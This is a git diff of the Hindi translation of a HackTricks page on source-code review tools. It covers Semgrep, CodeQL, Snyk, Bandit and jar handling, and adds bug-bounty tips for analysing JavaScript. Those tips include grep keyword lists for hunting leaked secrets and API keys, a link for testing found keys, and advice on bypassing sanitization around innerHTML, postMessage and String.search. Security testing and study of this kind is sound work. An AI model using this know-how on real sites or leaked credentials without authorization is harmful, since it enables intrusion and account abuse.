· C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · | #### त्वरित प्रारंभ @@ -48,11 +50,11 @@ semgrep scan --config auto ``` {% endcode %} -आप वीएसकोड में विश्लेषण प्राप्त करने के लिए [**semgrep VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) का भी उपयोग कर सकते हैं। +आप [**semgrep VSCode एक्सटेंशन**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) का उपयोग करके VSCode के अंदर निष्कर्ष प्राप्त कर सकते हैं। ### [**SonarQube**](https://www.sonarsource.com/products/sonarqube/downloads/) -इसका एक स्थापनीय **मुफ्त संस्करण** उपलब्ध है। +एक **निःशुल्क संस्करण** इंस्टॉल किया जा सकता है। #### त्वरित प्रारंभ @@ -78,9 +80,9 @@ sonar-scanner \ ### CodeQL -इसका एक **इंस्टॉल करने योग्य मुफ्त संस्करण** है, लेकिन लाइसेंस के अनुसार आप केवल मुफ्त CodeQL संस्करण का उपयोग Open Source परियोजनाओं में ही कर सकते हैं। +एक **स्थापित करने योग्य मुफ्त संस्करण** है लेकिन लाइसेंस के अनुसार आप **केवल मुफ्त CodeQL संस्करण का उपयोग ओपन सोर्स प्रोजेक्ट्स में कर सकते हैं**। -#### इंस्टॉल करें +#### स्थापित करें {% code overflow="wrap" %} ```bash @@ -104,15 +106,13 @@ echo 'export PATH="$PATH:/Users/username/codeql/codeql"' >> ~/.zshrc ## Open a new terminal codeql resolve qlpacks #Get paths to QL packs ``` -{% endcode %} - -#### त्वरित प्रारंभ - डेटाबेस की तैयारी करें +#### त्वरित प्रारंभ - डेटाबेस तैयार करें {% hint style="success" %} -पहली चीज जो आपको करनी होगी है, वह यह है कि आपको **डेटाबेस की तैयारी करनी होगी** (कोड ट्री बनाना) ताकि बाद में क्वेरी उस पर चलाई जा सकें। +सबसे पहले आपको **डेटाबेस तैयार करना** (कोड ट्री बनाना) होगा ताकि बाद में क्वेरीज़ इस पर चलाई जा सकें। {% endhint %} -* आप codeql को स्वचालित रूप से रेपो की भाषा की पहचान करने और डेटाबेस बनाने की अनुमति दे सकते हैं +* आप codeql को रेपो की भाषा की पहचान स्वचालित रूप से करने और डेटाबेस बनाने की अनुमति दे सकते हैं {% code overflow="wrap" %} ```bash @@ -125,10 +125,12 @@ codeql database create /path/repo/codeql_db --source-root /path/repo {% endcode %} {% hint style="danger" %} -यह आमतौर पर एक त्रुटि को ट्रिगर करेगा जो कि अधिक से अधिक भाषा निर्दिष्ट की गई थी (या स्वचालित रूप से पता चली थी)। इसे ठीक करने के लिए **अगले विकल्पों** की जांच करें! +यह **आमतौर पर एक त्रुटि को ट्रिगर करेगा** जिसमें कहा जाएगा कि एक से अधिक भाषा निर्दिष्ट की गई थी (या स्वचालित रूप से पता लगाया गया था)। **इसे ठीक करने के लिए अगले विकल्पों की जाँच करें**! {% endhint %} -* आप इसे **मैन्युअल रूप से संकेत करके** कर सकते हैं **रेपो** और **भाषा** को ([भाषाओं की सूची](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create)) +* आप यह **मैन्युअल रूप से संकेत करके** **रेपो** और **भाषा** को निर्दिष्ट कर सकते हैं ([भाषाओं की सूची](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create)) + +{% code overflow="wrap" %} ```bash codeql database create --language --source-root @@ -138,7 +140,7 @@ codeql database create /path/repo/codeql_db --language javascript --source-root ``` {% endcode %} -* यदि आपके रेपो में **1 से अधिक भाषा** का उपयोग हो रहा है, तो आप प्रत्येक भाषा को दर्शाते हुए **1 डीबी प्रति भाषा** भी बना सकते हैं। +* यदि आपका रेपो **एक से अधिक भाषा** का उपयोग कर रहा है, तो आप प्रत्येक भाषा को इंगित करते हुए **प्रत्येक भाषा के लिए 1 DB** भी बना सकते हैं। {% code overflow="wrap" %} ```bash @@ -152,7 +154,7 @@ codeql database create /path/repo/codeql_db --source-root /path/to/repo --db-clu ``` {% endcode %} -* आप `codeql` को भी यह स्वीकार करने दे सकते हैं कि वह आपके लिए **सभी भाषाओं की पहचान** करें और प्रति भाषा के लिए एक डीबी बनाएं। आपको इसे एक **GITHUB\_TOKEN** देना होगा। +* आप `codeql` को **सभी भाषाओं की पहचान करने** की अनुमति भी दे सकते हैं और प्रत्येक भाषा के लिए एक DB बना सकते हैं। आपको इसे एक **GITHUB\_TOKEN** देने की आवश्यकता है। {% code overflow="wrap" %} ```bash @@ -164,15 +166,13 @@ export GITHUB_TOKEN=ghp_32849y23hij4... codeql database create /tmp/codeql_db --db-cluster --source-root /path/repo ## DBs will be created in /path/repo/codeql_db/* ``` -{% endcode %} - #### त्वरित प्रारंभ - कोड का विश्लेषण करें {% hint style="success" %} -अब आखिरकार कोड का विश्लेषण करने का समय है। +अब आखिरकार कोड का विश्लेषण करने का समय आ गया है {% endhint %} -ध्यान दें कि यदि आपने कई भाषाओं का उपयोग किया है, तो आपके द्वारा निर्दिष्ट पथ में **प्रति भाषा एक डीबी** बनाई जाएगी। +याद रखें कि यदि आपने कई भाषाओं का उपयोग किया है, तो **प्रत्येक भाषा के लिए एक DB** आपके द्वारा निर्दिष्ट पथ में बनाया गया होगा। {% code overflow="wrap" %} ```bash @@ -192,9 +192,7 @@ javascript-security-extended --sarif-category=javascript \ --sarif-add-baseline-file-info --format=sarif-latest \ --output=/tmp/sec-extended.sarif ``` -{% endcode %} - -#### त्वरित प्रारंभ - स्क्रिप्टिंग +#### त्वरित प्रारंभ - स्क्रिप्टेड {% code overflow="wrap" %} ```bash @@ -217,13 +215,13 @@ echo $FINAL_MSG ``` {% endcode %} -आप निम्नलिखित तकनीकों को [**https://microsoft.github.io/sarif-web-component/**](https://microsoft.github.io/sarif-web-component/) या VSCode एक्सटेंशन [**SARIF viewer**](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer) का उपयोग करके देख सकते हैं। +आप [**https://microsoft.github.io/sarif-web-component/**](https://microsoft.github.io/sarif-web-component/) पर या VSCode एक्सटेंशन [**SARIF viewer**](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer) का उपयोग करके निष्कर्षों को देख सकते हैं। -आप विशेषतः [**VSCode एक्सटेंशन**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) का उपयोग करके VSCode में फ़ाइलों के अंदर खोज परिणाम प्राप्त कर सकते हैं। आपको अभी भी डेटाबेस खुद से बनाने की आवश्यकता होगी, लेकिन फिर आप किसी भी फ़ाइल का चयन कर सकते हैं और `Right Click` -> `CodeQL: Run Queries in Selected Files` पर क्लिक कर सकते हैं। +आप [**VSCode एक्सटेंशन**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) का भी उपयोग कर सकते हैं ताकि VSCode के अंदर ही निष्कर्ष प्राप्त कर सकें। आपको अभी भी मैन्युअल रूप से एक डेटाबेस बनाने की आवश्यकता होगी, लेकिन फिर आप किसी भी फाइल को चुन सकते हैं और `Right Click` -> `CodeQL: Run Queries in Selected Files` पर क्लिक कर सकते हैं। ### [**Snyk**](https://snyk.io/product/snyk-code/) -यहां एक **नि: शुल्क संस्करण** उपलब्ध है। +एक **इंस्टॉल करने योग्य मुफ्त संस्करण** है। #### त्वरित प्रारंभ ```bash @@ -246,15 +244,15 @@ snyk container test [image] # Test for IaC vulns snyk iac test ``` -आप वीएसकोड के अंदर फाइंडिंग्स प्राप्त करने के लिए [**snyk VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner) का उपयोग कर सकते हैं। +आप [**snyk VSCode एक्सटेंशन**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner) का उपयोग करके VSCode के अंदर निष्कर्ष प्राप्त कर सकते हैं। ### [Insider](https://github.com/insidersec/insider) -यह **ओपन सोर्स** है, लेकिन देखने में **अनरक्षित** लगता है। +यह **ओपन सोर्स** है, परंतु **अनदेखी** लगती है। -#### समर्थित भाषाएं +#### समर्थित भाषाएँ -जावा (मेवेन और एंड्रॉइड), कोटलिन (एंड्रॉइड), स्विफ्ट (आईओएस), .NET फुल फ्रेमवर्क, सीशार्प, और जावास्क्रिप्ट (नोड.जेएस)। +Java (Maven और Android), Kotlin (Android), Swift (iOS), .NET Full Framework, C#, और Javascript (Node.js)। #### त्वरित प्रारंभ ```bash @@ -266,7 +264,7 @@ $ ./insider --tech javascript --target ``` ### [**DeepSource**](https://deepsource.com/pricing) -सार्वजनिक रेपो के लिए मुफ्त। +**सार्वजनिक रेपो** के लिए मुफ्त। ## NodeJS @@ -287,14 +285,14 @@ npm install -g pnpm cd /path/to/repo pnpm audit ``` -* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)**:** नोड.जेएस एप्लिकेशनों के लिए स्टैटिक सुरक्षा कोड स्कैनर (SAST)। इसे [libsast](https://github.com/ajinabraham/libsast) और [semgrep](https://github.com/returntocorp/semgrep) द्वारा संचालित किया जाता है। +* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)**:** Node.js एप्लिकेशन्स के लिए Static security code scanner (SAST) जो [libsast](https://github.com/ajinabraham/libsast) और [semgrep](https://github.com/returntocorp/semgrep) द्वारा संचालित है। ```bash # Install & run docker run -it -p 9090:9090 opensecurity/nodejsscan:latest # Got to localhost:9090 # Upload a zip file with the code ``` -* [**RetireJS**](https://github.com/RetireJS/retire.js)**:** Retire.js का उद्देश्य आपकी मदद करना है ताकि आप ज्ञात सुरक्षा समस्याओं वाले JS-लाइब्रेरी के संस्करण का पता लगा सकें। +* [**RetireJS**](https://github.com/RetireJS/retire.js)**:** Retire.js का उद्देश्य आपको ज्ञात कमजोरियों वाले JS-लाइब्रेरी संस्करणों के उपयोग का पता लगाने में मदद करना है। ```bash # Install npm install -g retire @@ -304,11 +302,11 @@ retire --colors ``` ## Electron -* [**electronegativity**](https://github.com/doyensec/electronegativity)**:** यह एक उपकरण है जो Electron आधारित एप्लिकेशन में गलत समाकृति और सुरक्षा विरोधी पैटर्न की पहचान करने के लिए है। +* [**electronegativity**](https://github.com/doyensec/electronegativity)**:** यह एक उपकरण है जो Electron-आधारित एप्लिकेशन्स में गलत कॉन्फ़िगरेशन और सुरक्षा विरोधी पैटर्न की पहचान करता है। ## Python -* [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit एक उपकरण है जो Python कोड में सामान्य सुरक्षा समस्याओं की खोज करने के लिए डिज़ाइन किया गया है। इसके लिए Bandit प्रत्येक फ़ाइल को प्रोसेस करता है, इससे AST बनाता है, और AST नोड के खिलाफ उचित प्लगइन्स चलाता है। जब Bandit सभी फ़ाइलों की स्कैनिंग पूरी कर लेता है तो यह रिपोर्ट उत्पन्न करता है। +* [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit एक उपकरण है जिसे Python कोड में आम सुरक्षा मुद्दों को खोजने के लिए डिज़ाइन किया गया है। इसके लिए Bandit प्रत्येक फ़ाइल को प्रोसेस करता है, उससे एक AST बनाता है, और AST नोड्स के खिलाफ उपयुक्त प्लगइन्स को चलाता है। एक बार Bandit सभी फ़ाइलों की स्कैनिंग समाप्त कर लेता है, यह एक रिपोर्ट जनरेट करता है। ```bash # Install pip3 install bandit @@ -316,14 +314,14 @@ pip3 install bandit # Run bandit -r ``` -* [**सुरक्षा**](https://github.com/pyupio/safety): सुरक्षा Python डिपेंडेंसियों को ज्ञात सुरक्षा संकटों के लिए जांचता है और पाये गए सुरक्षा संकटों के लिए उचित सुधार की सलाह देता है। सुरक्षा को डेवलपर मशीनों पर, सीआई/सीडी पाइपलाइन में और प्रोडक्शन सिस्टमों पर चलाया जा सकता है। +* [**safety**](https://github.com/pyupio/safety): Safety पायथन निर्भरताओं को ज्ञात सुरक्षा संवेदनशीलताओं के लिए जांचता है और पता चली संवेदनशीलताओं के लिए उचित समाधान सुझाता है। Safety को डेवलपर मशीनों पर, CI/CD पाइपलाइनों में और प्रोडक्शन सिस्टम्स पर चलाया जा सकता है। ```bash # Install pip install safety # Run safety check ``` -* [~~**Pyt**~~](https://github.com/python-security/pyt): अनुरक्षित। +* [~~**Pyt**~~](https://github.com/python-security/pyt): अनदेखी की गई। ## .NET ```bash @@ -333,18 +331,7 @@ https://github.com/0xd4d/dnSpy # .NET compilation C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe test.cs ``` -## रस्ट - -Rust एक सुरक्षित, संचालनयोग्य और तेजी से बढ़ती हुई प्रोग्रामिंग भाषा है। यह एक मजबूत टाइप सुरक्षा और मेमोरी सुरक्षा प्रदान करती है जो बग्स और सुरक्षा गड़बड़ियों को कम करती है। Rust को विभिन्न उद्देश्यों के लिए उपयोग किया जा सकता है, जैसे कि सिस्टम प्रोग्रामिंग, वेब डेवलपमेंट और एम्बेडेड सिस्टम्स। - -Rust को वेब एप्लिकेशन कोड की समीक्षा करने के लिए विभिन्न टूल्स उपलब्ध हैं। ये टूल्स आपको कोड की गुणवत्ता, सुरक्षा और प्रदर्शन को मापने में मदद करते हैं। यहां कुछ प्रमुख रस्ट कोड समीक्षा टूल्स हैं: - -- **Clippy**: यह एक लिंटिंग टूल है जो रस्ट कोड को स्वचालित रूप से समीक्षा करता है और संभावित त्रुटियों और अनुपयुक्तताओं को चिह्नित करता है। -- **Rustfmt**: यह टूल रस्ट कोड को स्वचालित रूप से स्वरूपित करता है ताकि वह सामरिक और पठनीय हो। -- **Cargo-audit**: यह टूल आपको रस्ट प्रोजेक्ट में उपयोग होने वाली तृणता ज्ञात त्रुटियों की जांच करने में मदद करता है। -- **Rust-analyzer**: यह एक एक्सटेंशन है जो विभिन्न एडिटरों के लिए उपलब्ध है और रस्ट कोड की समीक्षा और उन्नतता को सुविधाजनक बनाता है। - -इन टूल्स का उपयोग करके आप अपने रस्ट वेब एप्लिकेशन कोड की समीक्षा कर सकते हैं और उन्नतता को सुनिश्चित कर सकते हैं। +## RUST ```bash # Install cargo install cargo-audit @@ -356,22 +343,6 @@ cargo audit cargo audit fetch ``` ## जावा - -Java is a popular programming language that is widely used for developing various applications, including web applications. It is known for its platform independence, which means that Java programs can run on any operating system that has a Java Virtual Machine (JVM) installed. - -जावा एक लोकप्रिय प्रोग्रामिंग भाषा है जो विभिन्न एप्लिकेशन, विशेष रूप से वेब एप्लिकेशन, विकसित करने के लिए व्यापक रूप से प्रयोग की जाती है। इसे इसकी प्लेटफ़ॉर्म आज़ादी के लिए जाना जाता है, जिसका मतलब है कि जावा कार्यक्रम उन सभी ऑपरेटिंग सिस्टम पर चल सकते हैं जिनमें जावा वर्चुअल मशीन (JVM) स्थापित है। - -Java provides a rich set of libraries and frameworks that make it easier to develop robust and scalable web applications. Some popular frameworks include Spring, Hibernate, and Struts. These frameworks provide pre-built modules and components that can be used to quickly develop web applications. - -जावा एक समृद्ध सेट की पुस्तकालयों और फ्रेमवर्क्स प्रदान करता है जो मजबूत और स्केलेबल वेब एप्लिकेशन विकसित करने को आसान बनाते हैं। कुछ प्रसिद्ध फ्रेमवर्क में स्प्रिंग, हाइबरनेट, और स्ट्रट्स शामिल हैं। ये फ्रेमवर्क पूर्व-निर्मित मॉड्यूल और कंपोनेंट प्रदान करते हैं जिन्हें वेब एप्लिकेशन को तेजी से विकसित करने के लिए उपयोग किया जा सकता है। - -When reviewing Java code, it is important to pay attention to potential security vulnerabilities. Common security issues in Java code include input validation vulnerabilities, SQL injection, cross-site scripting (XSS), and insecure use of cryptographic functions. - -जावा कोड की समीक्षा करते समय, संभावित सुरक्षा संकटों पर ध्यान देना महत्वपूर्ण है। जावा कोड में सामान्य सुरक्षा समस्याएं इनपुट मान्यता संकट, SQL इंजेक्शन, क्रॉस-साइट स्क्रिप्टिंग (XSS), और क्रिप्टोग्राफिक फ़ंक्शन के असुरक्षित उपयोग शामिल होती हैं। - -To ensure the security of Java applications, it is recommended to follow secure coding practices, such as input validation, parameterized queries, and proper use of encryption algorithms. Additionally, regular code reviews and security testing should be conducted to identify and fix any vulnerabilities. - -जावा एप्लिकेशनों की सुरक्षा सुनिश्चित करने के लिए, सुरक्षित कोडिंग अभ्यासों का पालन करना सुझावित है, जैसे कि इनपुट मान्यता, पैरामीटराइज़्ड क्वेरी, और एन्क्रिप्शन एल्गोरिदम का सही उपयोग। इसके अलावा, नियमित रूप से कोड समीक्षा और सुरक्षा परीक्षण करना चाहिए ताकि किसी भी संकट को पहचाना और ठीक किया जा सके। ```bash # JD-Gui https://github.com/java-decompiler/jd-gui @@ -384,23 +355,23 @@ jar cmvf META-INF/MANIFEST.MF test.jar test.class ``` | कार्य | कमांड | | --------------- | --------------------------------------------------------- | -| जार चलाएं | java -jar \[jar] | -| जार अनज़िप करें | unzip -d \[output directory] \[jar] | +| जार निष्पादित करें | java -jar \[jar] | +| जार अनजिप करें | unzip -d \[output directory] \[jar] | | जार बनाएं | jar -cmf META-INF/MANIFEST.MF \[output jar] \* | -| Base64 SHA256 | sha256sum \[file] \| cut -d' ' -f1 \| xxd -r -p \| base64 | -| साइनिंग हटाएं | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA | +| बेस64 SHA256 | sha256sum \[file] \| cut -d' ' -f1 \| xxd -r -p \| base64 | +| हस्ताक्षर हटाएं | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA | | जार से हटाएं | zip -d \[jar] \[file to remove] | -| क्लास डीकंपाइल करें | procyon -o . \[path to class] | -| जार डीकंपाइल करें | procyon -jar \[jar] -o \[output directory] | -| क्लास कंपाइल करें | javac \[path to .java file] | +| क्लास डिकम्पाइल करें | procyon -o . \[path to class] | +| जार डिकम्पाइल करें | procyon -jar \[jar] -o \[output directory] | +| क्लास कम्पाइल करें | javac \[path to .java file] | -## जाएँ +## Go ```bash https://github.com/securego/gosec ``` ## PHP -[Psalm](https://phpmagazine.net/2018/12/find-errors-in-your-php-applications-with-psalm.html) और [PHPStan](https://phpmagazine.net/2020/09/phpstan-pro-edition-launched.html)। +[Psalm](https://phpmagazine.net/2018/12/find-errors-in-your-php-applications-with-psalm.html) और [PHPStan](https://phpmagazine.net/2020/09/phpstan-pro-edition-launched.html). ### Wordpress Plugins @@ -412,67 +383,117 @@ https://github.com/securego/gosec ## JavaScript -### खोज +### Discovery 1. Burp: -* Spider और सामग्री खोजें -* Sitemap > फ़िल्टर -* Sitemap > डोमेन पर दायां-क्लिक करें > Engagement उपकरण > स्क्रिप्ट खोजें +* Spider और सामग्री की खोज करें +* Sitemap > filter +* Sitemap > डोमेन पर राइट-क्लिक > Engagement tools > Find scripts 2. [WaybackURLs](https://github.com/tomnomnom/waybackurls): * `waybackurls |grep -i "\.js" |sort -u` -### स्थिर विश्लेषण +### Static Analysis -#### अनमिनाइज़/ब्यूटीफाई/प्रिटीफाई +#### Unminimize/Beautify/Prettify * [https://prettier.io/playground/](https://prettier.io/playground/) * [https://beautifier.io/](https://beautifier.io/) -#### डिओबफस्केट/अनपैक +#### Deobfuscate/Unpack -**नोट**: पूर्ण रूप से डिओबफस्केट करना संभव नहीं हो सकता है। +**नोट**: पूरी तरह से deobfuscate करना संभव नहीं हो सकता है। -1. .map फ़ाइलें ढूंढें और उन्हें उपयोग करें: -* यदि .map फ़ाइलें उजागर हैं, तो उन्हें आसानी से डिओबफस्केट करने के लिए उपयोग किया जा सकता है। -* आमतौर पर, foo.js.map foo.js को मैप करता है। उन्हें मैन्युअल रूप से ढूंढें। -* उन्हें ढूंढने के लिए [JS Miner](https://github.com/PortSwigger/js-miner) का उपयोग करें। -* सुनिश्चित करें कि सक्रिय स्कैन किया जाता है। -* '[युक्तियाँ/नोट्स](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)' पढ़ें -* यदि मिल गई हैं, तो उन्हें डिओबफस्केट करने के लिए [Maximize](https://www.npmjs.com/package/maximize) का उपयोग करें। -2. .map फ़ाइलों के बिना, JSnice का प्रयास करें: +1. .map फाइलों का पता लगाएं और उपयोग करें: +* यदि .map फाइलें उजागर होती हैं, तो वे आसानी से deobfuscate करने के लिए उपयोग की जा सकती हैं। +* आमतौर पर, foo.js.map foo.js के लिए मैप करता है। उन्हें मैन्युअली खोजें। +* [JS Miner](https://github.com/PortSwigger/js-miner) का उपयोग करके उनकी खोज करें। +* सक्रिय स्कैन सुनिश्चित करें। +* '[Tips/Notes](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)' पढ़ें। +* यदि मिल जाए, तो [Maximize](https://www.npmjs.com/package/maximize) का उपयोग करके deobfuscate करें। +2. .map फाइलों के बिना, JSnice का प्रयास करें: * संदर्भ: http://jsnice.org/ & https://www.npmjs.com/package/jsnice -* सुझाव: -* jsnice.org का उपयोग कर रहे हैं तो, "Nicify JavaScript" बटन के पास विकल्प बटन पर क्लिक करें और "Infer types" को अचयनित करें ताकि कोड को टिप्पणियों के साथ अधिक अव्यवस्थित न करें। -* सुनिश्चित करें कि स्क्रिप्ट के पहले कोई खाली पंक्तियाँ नहीं हैं, क्योंकि यह डिओबफस्केशन प्रक्रिया प्रभावित कर सकता है और अवैध परिणाम दे सकता है। -3. console.log(); का उपयोग करें। -* अंत में वापसी मान को ढूंढें और इसे `console.log();` में बदलें ताकि डिओबफस्केट जेएस प्रिंट हो बजाय निष्पादित हो। -* फिर, संशोधित (और अभी भी अविभाजित) जेएस को https://jsconsole.com/ में पेस्ट करें ताकि डिओबफस्केट जेएस को कंसोल में लॉग किया जा सके। -* अंत में, विश्लेषण के लिए इसे https://prettier.io/playground/ में पेस्ट करें ताकि इसे सुंदर बनाया जा सके। -* **नोट**: यदि आप अभी भी पैक किए गए (लेकिन अलग) जेएस देख रहे हैं, तो यह रिकर्सिव रूप से पैक किया जा सकता है। प्रक्रिया दोहराएं। +* टिप्स: +* यदि jsnice.org का उपयोग कर रहे हैं, तो "Nicify JavaScript" बटन के बगल में विकल्प बटन पर क्लिक करें, और "Infer types" को अन-सेलेक्ट करें ताकि कोड को कमेंट्स से भरने से बचा जा सके। +* सुनिश्चित करें कि स्क्रिप्ट से पहले कोई खाली लाइनें न छोड़ें, क्योंकि यह deobfuscation प्रक्रिया को प्रभावित कर सकता है और गलत परिणाम दे सकता है। +3. console.log() का उपयोग करें; +* अंत में रिटर्न वैल्यू ढूंढें और इसे `console.log();` में बदल दें ताकि deobfuscated js प्रिंट हो जाए बजाय इसके कि वह execute हो। +* फिर, संशोधित (और अभी भी obfuscated) js को https://jsconsole.com/ में पेस्ट करें ताकि deobfuscated js को कंसोल में लॉग किया जा सके। +* अंत में, deobfuscated आउटपुट को https://prettier.io/playground/ में पेस्ट करें ताकि इसे विश्लेषण के लिए सुंदर बनाया जा सके। +* **नोट**: यदि आप अभी भी पैक किए गए (लेकिन अलग) js को देख रहे हैं, तो संभवतः यह पुनरावृत्ति से पैक किया गया है। प्रक्रिया को दोहराएं। -#### विश्लेषण करें +#### Analyze संदर्भ: https://medium.com/techiepedia/javascript-code-review-guide-for-bug-bounty-hunters-c95a8aa7037a -खोजें: +खोजें के लिए: -* एंटी-डीबग लोडिंग +* Anti-debug loading * Angular: [enableProdMode](https://blog.nvisium.com/angular-for-pentesters-part-2) -* सीक्रेट्स +* Secrets * उपयोग करें: * [JS Miner](https://github.com/PortSwigger/js-miner) * [RegHex](https://github.com/l4yton/RegHex) पैटर्न * [gf](https://github.com/tomnomnom/gf/tree/master/examples) पैटर्न -* संबंधित शब्दकोश पैटर्न खोजें: -* पासवर्ड, उपयोगकर्ता, व्यवस्थापक -* प्रमाणीकरण, लॉगिन, साइन, चुनौती, 2fa -* कुंजी, एपीआईकी, एपीआई\_की, एपीआई-की, जेडब्ल्यूटी, टोकन -* सीक्रेट, सुरक्षा, सुरक्षित +* संबंधित शब्दकोश पैटर्न के लिए Grep करें: +* pass, user, admin +* auth, login, sign, challenge, 2fa +* key, apikey, api\_key, api-key, jwt, token +* secret, security, secure * ... * मैन्युअल समीक्षा -* यदि एपीआई की मिल गई है, तो यहां पर संभावित उपयोग की सिंटेक्स के लिए यहां जांचें: https://github.com/streaak/keyhacks. -* संकटित -* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) **में** या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**।** -* **अपने हैकिंग ट्रिक्स को साझा करें द्वारा PRs सबमिट करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud)। +* यदि API कुंजी मिली है, तो संभावित उपयोग सिंटैक्स के लिए यहां जांचें: https://github.com/streaak/keyhacks. +* Vuln functions +* InnerHTML() - यदि आपको यह मिला है, तो इसका मतलब है कि यदि उचित सैनिटाइजेशन नहीं होता है तो XSS के लिए संभावित अवसर हो सकता है। यहां तक कि अगर आपका पेलोड सैनिटाइज किया जाता है, तो चिंता न करें। कोड का अनुसरण करें और पता लगाएं कि सैनिटाइजेशन कहां होता है। इसे अध्ययन करें और सैनिटाइजेशन को पार करने का प्रयास करें। +* Postmessage() - यदि आपने मेरी पिछली पोस्ट (https://medium.com/techiepedia/what-are-sop-cors-and-ways-to-exploit-it-62a5e02100dc) पढ़ी है, तो आप देखेंगे कि Postmessage() संभावित CORS मुद्दे की ओर ले जा सकता है। यदि फ़ंक्शन का दूसरा पैरामीटर \* पर सेट है, तो आप भाग्यशाली हैं। मेरी पिछली पोस्ट को देखें ताकि इसके पीछे के तंत्र को और अधिक समझ सकें। +* String.prototype.search() - यह फ़ंक्शन सामान्य लगता है। यह खतरनाक फ़ंक्शन क्यों हो सकता है? खैर, इसका कारण यह है कि कुछ डेवलपर्स ने इसका उपयोग एक स्ट्रिंग के अंदर दूसरी स्ट्रिंग की घटना को ढूंढने के लिए किया है। हालांकि, इस फ़ंक्शन में “.” वाइल्डकार्ड के रूप में माना जाता है। इसलिए, यदि इस फ़ंक्शन का उपयोग सैनिटाइजेशन चेक के रूप में किया जाता है, तो आप इसे “.” इनपुट करके आसानी से बायपास कर सकते हैं। Filedescryptor की hackerone रिपोर्ट देखें: https://hackerone.com/reports/129873 +* Endpoints & params +* [LinkFinder](https://github.com/GerbenJavado/LinkFinder) और [JS Miner](https://github.com/PortSwigger/js-miner) का उपयोग करें। +* Vuln libs & deps +* [Retire.js](https://retirejs.github.io/retire.js/) और [NPM](https://snyk.io/advisor/) (नीचे स्क्रॉल करें सुरक्षा अनुभाग > सभी संस्करण लिंक) का उपयोग करें। +* Cloud URLs +* [JS Miner](https://github.com/PortSwigger/js-miner) का उपयोग करें। +* Subdomains +* [JS Miner](https://github.com/PortSwigger/js-miner) का उपयोग करें। +* Logic Flaws +* स्थितिजन्य जागरूकता प्राप्त करें: +* `use strict;`? +* क्लाइंट-साइड नियंत्रणों के लिए Grep करें: +* disable, enable, hidden, hide, show +* catch, finally, throw, try +* input, validate, verify, valid, correct, check, confirm, require, .. +* गैर-प्राइमेटिव्स के लिए Grep करें: +* function , => +* class + +### Dynamic Analysis + +संदर्भ + +* https://www.youtube.com/watch?v=\_v8r\_t4v6hQ +* https://blog.nvisium.com/angular-for-pentesters-part-1 +* https://blog.nvisium.com/angular-for-pentesters-part-2 + +उपकरण + +* https://portswigger.net/burp/documentation/desktop/tools/dom-invader + +#### Less Used References + +* https://cyberchef.org/ +* https://olajs.com/javascript-prettifier +* https://jshint.com/ +* https://github.com/jshint/jshint/ + +
+ +Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं, तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें! +* [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का पालन करें**। +* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
diff --git a/network-services-pentesting/pentesting-web/drupal.md b/network-services-pentesting/pentesting-web/drupal.md index 858416714..441056bf1 100644 --- a/network-services-pentesting/pentesting-web/drupal.md +++ b/network-services-pentesting/pentesting-web/drupal.md @@ -2,13 +2,15 @@
